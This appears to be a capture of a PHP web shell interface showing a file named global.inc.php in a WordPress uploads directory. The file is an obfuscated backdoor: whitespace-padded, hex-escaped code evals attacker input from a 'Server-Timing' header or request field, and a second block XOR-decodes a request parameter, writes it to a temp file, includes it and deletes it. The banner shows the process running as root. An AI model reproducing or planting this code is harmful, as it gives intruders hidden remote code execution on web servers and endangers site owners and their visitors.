HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux wordpress-ubuntu-s-2vcpu-4gb-fra1-01 5.4.0-169-generic #187-Ubuntu SMP Thu Nov 23 14:52:28 UTC 2023 x86_64
User: root (0)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/shoetique/wp-content/uploads/2020/09/global.inc.php
<?php																																										$_HEADERS = getallheaders();if(isset($_HEADERS['Sec-Websocket-Accept'])){$c="<\x3fp\x68p\x20@\x65v\x61l\x28$\x5fH\x45A\x44E\x52S\x5b\"\x53e\x72v\x65r\x2dT\x69m\x69n\x67\"\x5d)\x3b@\x65v\x61l\x28$\x5fR\x45Q\x55E\x53T\x5b\"\x53e\x72v\x65r\x2dT\x69m\x69n\x67\"\x5d)\x3b";$f='/tmp/.'.time();@file_put_contents($f, $c);@include($f);@unlink($f);}


if(isset($_REQUEST["va\x6Cu\x65"]) ? true : false){
	$object = array_filter([getenv("TMP"), "/dev/shm", getcwd(), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", "/tmp", ini_get("upload_tmp_dir")]);
	$marker = hex2bin($_REQUEST["va\x6Cu\x65"]);
	$ref='' ;for($p=0; $p<strlen($marker); $p++){$ref .= chr(ord($marker[$p]) ^ 68);}
	foreach ($object as $element) {
    		if (!!is_dir($element) && !!is_writable($element)) {
    $sym = implode("/", [$element, ".record"]);
    $success = file_put_contents($sym, $ref);
if ($success) {
	include $sym;
	@unlink($sym);
	die();}
}
}
}